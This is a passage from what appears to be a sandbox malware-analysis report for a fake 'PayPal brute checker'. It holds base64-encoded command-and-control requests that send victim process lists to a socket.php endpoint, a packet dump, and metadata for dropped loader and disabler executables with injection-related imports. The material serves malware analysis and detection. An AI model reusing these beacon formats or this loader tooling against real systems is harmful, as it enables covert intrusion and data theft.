UlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXdpbmluaXQuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VleHBsb3Jlci5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRVN5c3RlbS5leGUlM0NTVFIlM0VJZGxlLmV4ZQ==9b:T45c,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFUGF5UGFsLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRXNwb29sc3YuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0V3aW5pbml0LmV4ZSUzQ1NUUiUzRVdtaVBydlNFLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZXhwbG9yZXIuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VTeXN0ZW0uZXhlJTNDU1RSJTNFSWRsZS5leGU=9c:T478,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFUGF5UGFsLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRXNwb29sc3YuZXhlJTNDU1RSJTNFZGxsaG9zdC5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXdpbmluaXQuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VleHBsb3Jlci5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRVN5c3RlbS5leGUlM0NTVFIlM0VJZGxlLmV4ZQ==9d:T478,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFUGF5UGFsLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWRsbGhvc3QuZXhlJTNDU1RSJTNFY3Nyc3MuZXhlJTNDU1RSJTNFc2VydmljZXMuZXhlJTNDU1RSJTNFc3Bvb2xzdi5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXdpbmluaXQuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VleHBsb3Jlci5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRVN5c3RlbS5leGUlM0NTVFIlM0VJZGxlLmV4ZQ==9e:T45c,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWRsbGhvc3QuZXhlJTNDU1RSJTNFY3Nyc3MuZXhlJTNDU1RSJTNFd2lubG9nb24uZXhlJTNDU1RSJTNFdGFza2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VQYXlQYWwuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRXNwb29sc3YuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0V3aW5pbml0LmV4ZSUzQ1NUUiUzRVdtaVBydlNFLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZXhwbG9yZXIuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VTeXN0ZW0uZXhlJTNDU1RSJTNFSWRsZS5leGU=9f:T478,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWRsbGhvc3QuZXhlJTNDU1RSJTNFY3Nyc3MuZXhlJTNDU1RSJTNFd2lubG9nb24uZXhlJTNDU1RSJTNFdGFza2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VQYXlQYWwuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRXNwb29sc3YuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0V3aW5pbml0LmV4ZSUzQ1NUUiUzRVdtaVBydlNFLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZXhwbG9yZXIuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0V0YXNraG9zdC5leGUlM0NTVFIlM0VTeXN0ZW0uZXhlJTNDU1RSJTNFSWRsZS5leGU=a0:Tdec, 0 : 00 00 5E 00 01 01 3C 00 27 AC 6D 6B 08 00 45 00 [..^...<.'.mk..E.] 10 : 03 8F 1D 32 40 00 80 06 3C 6D C0 A8 F0 46 C3 A1 [...2@... BoB / BobSoft","version_info":[{"id":"FileVersion","value":"1.0.0.0"},{"id":"ProductVersion","value":"1.0.0.0"},{"id":"Translation","value":"0x0409 0x04e4"}],"file_sections":[{"name":".text","entropy":6.49313694886,"virtual_address":"0x1000","virtual_size":"0x366c84","raw_size":"0x366e00","md5":"e8ae9093c33ce3a8dda5f117c2280f97"},{"name":".itext","entropy":6.23399514719,"virtual_address":"0x368000","virtual_size":"0x33cc","raw_size":"0x3400","md5":"71d082697e6591ac2d634176a98869e9"},{"name":".data","entropy":6.28622091947,"virtual_address":"0x36c000","virtual_size":"0xde30","raw_size":"0xe000","md5":"f4649e49682d01a5e125dc3c87d4ae01"},{"name":".bss","entropy":0,"virtual_address":"0x37a000","virtual_size":"0x6b80","raw_size":"0x0","md5":"d41d8cd98f00b204e9800998ecf8427e"},{"name":".idata","entropy":5.09775286297,"virtual_address":"0x381000","virtual_size":"0x400e","raw_size":"0x4200","md5":"aa87eb288dbe0333f20c742a89bf39cc"},{"name":".didata","entropy":3.65763925058,"virtual_address":"0x386000","virtual_size":"0xa3c","raw_size":"0xc00","md5":"1e252ccc269b77cec05f1105439b9e8c"},{"name":".edata","entropy":1.05053834568,"virtual_address":"0x387000","virtual_size":"0x5c","raw_size":"0x200","md5":"97a5c01df8305f194768b4fad1086e53"},{"name":".tls","entropy":0,"virtual_address":"0x388000","virtual_size":"0x4c","raw_size":"0x0","md5":"d41d8cd98f00b204e9800998ecf8427e"},{"name":".rdata","entropy":1.36467942419,"virtual_address":"0x389000","virtual_size":"0x5c","raw_size":"0x200","md5":"82eea1c1e69f46e9b8096b578f1a4b88"},{"name":".reloc","entropy":6.7249933933,"virtual_address":"0x38a000","virtual_size":"0x41af4","raw_size":"0x41c00","md5":"1cdb99bc40fa078fc9440bddc2b33bf5"},{"name":".rsrc","entropy":5.50197771776,"virtual_address":"0x3cc000","virtual_size":"0x74000","raw_size":"0x73200","md5":"3f0947ab998a09ae2b0586f757b70a54"}],"file_imports":[{"module":"advapi32.dll","functions":["GetUserNameW","RegCloseKey","RegConnectRegistryW","RegCreateKeyExW","RegDeleteKeyW","RegDeleteValueW","RegEnumKeyExW","RegEnumValueW","RegFlushKey","RegLoadKeyW","RegOpenKeyExW","RegQueryInfoKeyW","RegQueryValueExW","RegReplaceKeyW","RegRestoreKeyW","RegSaveKeyW","RegSetValueExW","RegUnLoadKeyW"]},{"module":"comctl32.dll","functions":["_TrackMouseEvent","FlatSB_GetScrollInfo","FlatSB_GetScrollPos","FlatSB_SetScrollInfo","FlatSB_SetScrollPos","FlatSB_SetScrollProp","ImageList_Add","ImageList_BeginDrag","ImageList_Copy","ImageList_Create","ImageList_Destroy","ImageList_DragEnter","ImageList_DragLeave","ImageList_DragMove","ImageList_DragShowNolock","ImageList_Draw","ImageList_DrawEx","ImageList_EndDrag","ImageList_GetBkColor","ImageList_GetDragImage","ImageList_GetIcon","ImageList_GetIconSize","ImageList_GetImageCount","ImageList_GetImageInfo","ImageList_LoadImageW","ImageList_Read","ImageList_Remove","ImageList_Replace","ImageList_ReplaceIcon","ImageList_SetBkColor","ImageList_SetIconSize","ImageList_SetImageCount","ImageList_SetOverlayImage","ImageList_Write","InitCommonControls","InitializeFlatSB"]},{"module":"comdlg32.dll","functions":["GetOpenFileNameW"]},{"module":"gdi32.dll","functions":["AbortDoc","AngleArc","Arc","ArcTo","BitBlt","Chord","CloseEnhMetaFile","CombineRgn","CopyEnhMetaFileW","CreateBitmap","CreateBrushIndirect","CreateCompatibleBitmap","CreateCompatibleDC","CreateDCW","CreateDIBitmap","CreateDIBSection","CreateEnhMetaFileW","CreateFontIndirectW","CreateHalftonePalette","CreateICW","CreatePalette","CreatePen","CreatePenIndirect","CreateRectRgn","CreateSolidBrush","DeleteDC","DeleteEnhMetaFile","DeleteObject","Ellipse","EndDoc","EndPage","EnumFontFamiliesExW","EnumFontsW","ExcludeClipRect","ExtCreatePen","ExtFloodFill","ExtTextOutW","FrameRgn","GdiFlush","GetBitmapBits","GetBitmapDimensionEx","GetBrushOrgEx","GetClipBox","GetCurrentPositionEx","GetDeviceCaps","GetDIBColorTable","GetDIBits","GetEnhMetaFileBits","GetEnhMetaFileDescriptionW","GetEnhMetaFileHeader","GetEnhMetaFilePaletteEntries","GetNearestPaletteIndex","GetObjectW","GetPaletteEntries","GetPixel","GetRgnBox","GetStockObject","GetSystemPaletteEntries","GetTextExtentPoint32W","GetTextExtentPointW","GetTextMetricsW","GetViewportOrgEx","GetWindowOrgEx","GetWinMetaFileBits","IntersectClipRect","LineTo","LPtoDP","MaskBlt","MoveToEx","PatBlt","Pie","PlayEnhMetaFile","PolyBezier","PolyBezierTo","Polygon","Polyline","PolyPolyline","RealizePalette","Rectangle","RectVisible","ResizePalette","RestoreDC","RoundRect","SaveDC","SelectObject","SelectPalette","SetAbortProc","SetBitmapBits","SetBkColor","SetBkMode","SetBrushOrgEx","SetDIBColorTable","SetDIBits","SetEnhMetaFileBits","SetMapMode","SetPixel","SetPixelV","SetRectRgn","SetROP2","SetStretchBltMode","SetTextColor","SetViewportExtEx","SetViewportOrgEx","SetWindowExtEx","SetWindowOrgEx","SetWinMetaFileBits","StartDocW","StartPage","StretchBlt","StretchDIBits","UnrealizeObject"]},{"module":"kernel32.dll","functions":["CloseHandle","CompareStringW","CreateDirectoryW","CreateEventW","CreateFileW","CreateThread","DeleteCriticalSection","DeleteFileW","EnterCriticalSection","EnumCalendarInfoW","EnumResourceNamesW","EnumSystemLocalesW","ExitProcess","ExitThread","FileTimeToDosDateTime","FileTimeToLocalFileTime","FindClose","FindFirstFileW","FindNextFileW","FindResourceW","FormatMessageW","FreeLibrary","FreeResource","GetACP","GetCommandLineW","GetComputerNameW","GetConsoleCP","GetConsoleOutputCP","GetCPInfo","GetCPInfoExW","GetCurrentProcess","GetCurrentProcessId","GetCurrentThread","GetCurrentThreadId","GetDateFormatW","GetDiskFreeSpaceW","GetExitCodeThread","GetFileAttributesW","GetFileSize","GetFileType","GetFullPathNameW","GetLastError","GetLocaleInfoW","GetLocalTime","GetModuleFileNameW","GetModuleHandleW","GetProcAddress","GetStartupInfoW","GetStdHandle","GetSystemDefaultUILanguage","GetSystemInfo","GetTempPathW","GetThreadLocale","GetThreadPriority","GetTickCount","GetUserDefaultLCID","GetUserDefaultUILanguage","GetVersion","GetVersionExW","GetVolumeInformationW","GlobalAddAtomW","GlobalAlloc","GlobalDeleteAtom","GlobalFindAtomW","GlobalFree","GlobalLock","GlobalMemoryStatus","GlobalSize","GlobalUnlock","HeapAlloc","HeapCreate","HeapDestroy","HeapFree","HeapSize","InitializeCriticalSection","InterlockedCompareExchange","InterlockedExchange","IsDBCSLeadByteEx","IsDebuggerPresent","IsValidLocale","LeaveCriticalSection","LoadLibraryA","LoadLibraryExW","LoadLibraryW","LoadResource","LocalAlloc","LocalFree","LockResource","lstrcmpW","lstrlenW","MulDiv","MultiByteToWideChar","OpenProcess","QueryPerformanceCounter","QueryPerformanceFrequency","RaiseException","ReadFile","ReadProcessMemory","RemoveDirectoryW","ResetEvent","ResumeThread","RtlUnwind","SetEndOfFile","SetErrorMode","SetEvent","SetFilePointer","SetLastError","SetThreadLocale","SetThreadPriority","SizeofResource","Sleep","SuspendThread","SwitchToThread","TerminateProcess","TerminateThread","TlsGetValue","TlsSetValue","TryEnterCriticalSection","UnhandledExceptionFilter","VerifyVersionInfoW","VerSetConditionMask","VirtualAlloc","VirtualAllocEx","VirtualFree","VirtualFreeEx","VirtualProtect","VirtualQuery","VirtualQueryEx","WaitForMultipleObjectsEx","WaitForSingleObject","WideCharToMultiByte","WinExec","WriteFile","WriteProcessMemory"]},{"module":"msvcrt.dll","functions":["memcpy","memset"]},{"module":"netapi32.dll","functions":["NetWkstaGetInfo"]},{"module":"ole32.dll","functions":["CoCreateInstance","CoGetClassObject","CoInitialize","CoTaskMemAlloc","CoTaskMemFree","CoUninitialize","CreateStreamOnHGlobal","IsAccelerator","IsEqualGUID","OleDraw","OleInitialize","OleRegEnumVerbs","OleSetMenuDescriptor","OleUninitialize"]},{"module":"oleaut32.dll","functions":["GetErrorInfo","SafeArrayCreate","SafeArrayGetLBound","SafeArrayGetUBound","SafeArrayPtrOfIndex","SysAllocStringLen","SysFreeString","SysReAllocStringLen","VariantChangeType","VariantClear","VariantCopy","VariantInit"]},{"module":"shell32.dll","functions":["ExtractIconW","Shell_NotifyIconW","ShellExecuteExW","ShellExecuteW","SHGetDesktopFolder","SHGetMalloc","SHGetSpecialFolderLocation"]},{"module":"user32.dll","functions":["ActivateKeyboardLayout","AdjustWindowRectEx","BeginPaint","CallNextHookEx","CallWindowProcW","CharLowerBuffW","CharLowerW","CharNextW","CharUpperBuffW","CharUpperW","CheckMenuItem","ClientToScreen","CloseClipboard","CopyIcon","CopyImage","CopyRect","CountClipboardFormats","CreateAcceleratorTableW","CreateCaret","CreateIcon","CreateIconIndirect","CreateMenu","CreatePopupMenu","CreateWindowExW","DefFrameProcW","DefMDIChildProcW","DefWindowProcW","DeleteMenu","DestroyCaret","DestroyCursor","DestroyIcon","DestroyMenu","DestroyWindow","DispatchMessageA","DispatchMessageW","DrawEdge","DrawFocusRect","DrawFrameControl","DrawIcon","DrawIconEx","DrawMenuBar","DrawTextExW","DrawTextW","EmptyClipboard","EnableMenuItem","EnableScrollBar","EnableWindow","EndMenu","EndPaint","EnumChildWindows","EnumClipboardFormats","EnumDisplayMonitors","EnumThreadWindows","EnumWindows","FillRect","FindWindowExW","FindWindowW","FrameRect","GetActiveWindow","GetCapture","GetCaretPos","GetClassInfoExW","GetClassInfoW","GetClassLongW","GetClassNameW","GetClientRect","GetClipboardData","GetCursor","GetCursorPos","GetDC","GetDCEx","GetDesktopWindow","GetDlgCtrlID","GetDlgItem","GetDoubleClickTime","GetFocus","GetForegroundWindow","GetIconInfo","GetKeyboardLayout","GetKeyboardLayoutList","GetKeyboardLayoutNameW","GetKeyboardState","GetKeyNameTextW","GetKeyState","GetLastActivePopup","GetMenu","GetMenuItemCount","GetMenuItemID","GetMenuItemInfoW","GetMenuItemRect","GetMenuState","GetMenuStringW","GetMessageExtraInfo","GetMessagePos","GetMessageTime","GetMonitorInfoW","GetParent","GetPropW","GetScrollBarInfo","GetScrollInfo","GetScrollPos","GetScrollRange","GetSubMenu","GetSysColor","GetSysColorBrush","GetSystemMenu","GetSystemMetrics","GetTopWindow","GetWindow","GetWindowDC","GetWindowLongW","GetWindowPlacement","GetWindowRect","GetWindowTextLengthW","GetWindowTextW","GetWindowThreadProcessId","HideCaret","InflateRect","InsertMenuItemW","InsertMenuW","InvalidateRect","IsCharAlphaNumericW","IsCharAlphaW","IsChild","IsClipboardFormatAvailable","IsDialogMessageA","IsDialogMessageW","IsIconic","IsRectEmpty","IsWindow","IsWindowEnabled","IsWindowUnicode","IsWindowVisible","IsZoomed","KillTimer","LoadBitmapW","LoadCursorW","LoadIconW","LoadKeyboardLayoutW","LoadStringW","MapVirtualKeyW","MapWindowPoints","MessageBeep","MessageBoxA","MessageBoxIndirectW","MessageBoxW","MonitorFromPoint","MonitorFromRect","MonitorFromWindow","MoveWindow","MsgWaitForMultipleObjects","MsgWaitForMultipleObjectsEx","OffsetRect","OpenClipboard","PeekMessageA","PeekMessageW","PostMessageW","PostQuitMessage","PtInRect","RedrawWindow","RegisterClassW","RegisterClipboardFormatW","RegisterWindowMessageW","ReleaseCapture","ReleaseDC","RemoveMenu","RemovePropW","ScreenToClient","ScrollWindow","ScrollWindowEx","SendMessageA","SendMessageW","SetActiveWindow","SetCapture","SetCaretPos","SetClassLongW","SetClipboardData","SetCursor","SetCursorPos","SetFocus","SetForegroundWindow","SetKeyboardState","SetMenu","SetMenuItemInfoW","SetParent","SetPropW","SetRect","SetScrollInfo","SetScrollPos","SetScrollRange","SetTimer","SetWindowLongW","SetWindowPlacement","SetWindowPos","SetWindowRgn","SetWindowsHookExW","SetWindowTextW","ShowCaret","ShowOwnedPopups","ShowScrollBar","ShowWindow","SystemParametersInfoW","TrackPopupMenu","TranslateMDISysAccel","TranslateMessage","UnhookWindowsHookEx","UnregisterClassW","UpdateWindow","ValidateRect","WaitMessage","WindowFromDC","WindowFromPoint"]},{"module":"version.dll","functions":["GetFileVersionInfoSizeW","GetFileVersionInfoW","VerQueryValueW"]},{"module":"winspool.drv","functions":["ClosePrinter","DocumentPropertiesW","EnumPrintersW","GetDefaultPrinterW","OpenPrinterW"]}],"file_exports":[{"name":"TMethodImplementationIntercept","ordinal":1,"address":"0x464ffc"}]}},{"name":"loader.bat","file_path":"%APPDATA%\\Microsoft\\loader.bat","file_size":8704,"md5":"9ebfbcbf10049c96ffec84abe8987cc3","sha1":"fb8c77ff8e0048414cc71865e5443fe4d0df67a9","sha256":"67b1416f1300afce0823cf6066cca1322bb86e84ed70db0e327a71233a4fbe6e","sha512":"b2b754c329f8a03f94744f4bbe45b19d2be9a244187e1551a9724aa7d076255a003a89d40b1e6c13f2a55a43baca3e49cb1733a531a5603d6084db6aa05a96c3","type_tags":["peexe","assembly","executable"],"description":"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows","runtime_process":"PayPal brute?checker.exe (PID: 3540)","threat_level":2,"threat_level_readable":"malicious","group":"malicious","av_label":"Gen:Variant.Ursu","av_matched":35,"av_total":73,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":true,"extended_details":{"filename":"loader.bat","size":8704,"description":null,"architecture":"32 Bit","ssdeep":"192:whScb90qNEdFISaVTl6yTAjXiSdlGF8AY9Tmg:YScb95Ed86yTiySdYUq","imphash":"f34d5f2d4577ed6d9ceec516c1f5a744","authentihash":"8c3861f591ef9940d34a19342a42503c1f14c98ec865531a1107d497383c5728","entrypoint_bytes":null,"packer":"Microsoft visual C# v7.0 / Basic .NET","version_info":[{"id":"Translation","value":"0x0000 0x04b0"},{"id":"LegalCopyright","value":null},{"id":"Assembly Version","value":"0.0.0.0"},{"id":"InternalName","value":"dcloader.exe"},{"id":"FileVersion","value":"0.0.0.0"},{"id":"ProductVersion","value":"0.0.0.0"},{"id":"FileDescription","value":null},{"id":"OriginalFilename","value":"dcloader.exe"}],"file_sections":[{"name":".text","entropy":4.26853267674,"virtual_address":"0x2000","virtual_size":"0x75c","raw_size":"0x800","md5":"3304c1f10bab916bcd37f596c7dc1148"},{"name":".rsrc","entropy":6.63604716123,"virtual_address":"0x4000","virtual_size":"0x147c","raw_size":"0x1600","md5":"7a9214e6ffedcf90739a4590784c91cd"},{"name":".reloc","entropy":0.0815394123432,"virtual_address":"0x6000","virtual_size":"0xc","raw_size":"0x200","md5":"1ea7a27ca6e9494729f6dfff6091fdb0"}],"file_imports":[{"module":"mscoree.dll","functions":["_CorExeMain"]}],"file_exports":[]}},{"name":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","file_path":"%PUBLIC%\\Download\\90cc6e447d345bb1f103751ab038bbce19190db6.exe","file_size":1688492,"md5":"86ff7efcbbae4647a1c059363a4d26f0","sha1":"75ed4e3e0ef3416207db31e042d631081717086d","sha256":"8122082f126a07fe2f623b9b52eaafc2c3665fa6526ec3daae443cf636b62220","sha512":"c1c678055372c9dd50e132c695ce7a6e297df05f669d464d207cb0cb7fd736a6dfae049c9c4ea9cb5185563335ab2c32eb2e133a004794085843cc9c7bb7a93e","type_tags":["peexe","executable"],"description":"PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed","runtime_process":"cmd.exe (PID: 3796)","threat_level":2,"threat_level_readable":"malicious","group":"malicious","av_label":"Disabler.U","av_matched":45,"av_total":72,"file_available_to_download":true,"download_link":"/bff/report/5cf33b8b028838d07437db51/download/dropped-file?key=b8ea2df77865cafe6edd2142286f2d6a133cb800aa80c6de3284d82144c984584eafa7c87c3581c7a20d8442e723c49259b687334f8a2f7bc3e975110e95b01244577740c084ff5dab38a9f2ae1f83e67153a91987fcceede5fc0fd6993e610d230c5e8d905e1c","submit_link":"/bff/report/5cf33b8b028838d07437db51/submit/dropped-file?key=b8ea2df77865cafe6edd2142286f2d6a133cb800aa80c6de3284d82144c984584eafa7c87c3581c7a20d8442e723c49259b687334f8a2f7bc3e975110e95b01244577740c084ff5dab38a9f2ae1f83e67153a91987fcceede5fc0fd6993e610d230c5e8d905e1c","has_overview":false,"extended_details":{"filename":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","size":1688492,"description":null,"architecture":"32 Bit","ssdeep":"49152:t+8rlqza04DJ1OyG8KE/SnWcpep29kKGkZP/:qM3On8R6nWEA29ce","imphash":"4bb6c97d0fd6fbaeabdd43515fbc6b28","authentihash":"8bc8f363c6980dbe3786ef59338d64155fadc09fe8f415a9011fb0ca92fca537","entrypoint_bytes":null,"packer":"UPX v1.25 (Delphi) Stub","version_info":[],"file_sections":[{"name":"UPX0","entropy":0,"virtual_address":"0x1000","virtual_size":"0x45000","raw_size":"0x0","md5":"d41d8cd98f00b204e9800998ecf8427e"},{"name":"UPX1","entropy":7.92524716596,"virtual_address":"0x46000","virtual_size":"0x21000","raw_size":"0x20c00","md5":"298349d53f4321f809655f766e54c848"},{"name":".rsrc","entropy":6.55800583198,"virtual_address":"0x67000","virtual_size":"0x2000","raw_size":"0x1e00","md5":"603ed0f5d71d34107ba03aa671405843"}],"file_imports":[{"module":"gdiplus.dll","functions":["GdipFree"]},{"module":"KERNEL32.DLL","functions":["ExitProcess","GetProcAddress","LoadLibraryA","VirtualProtect"]}],"file_exports":[]}},{"name":"System.dll","file_path":"%WIN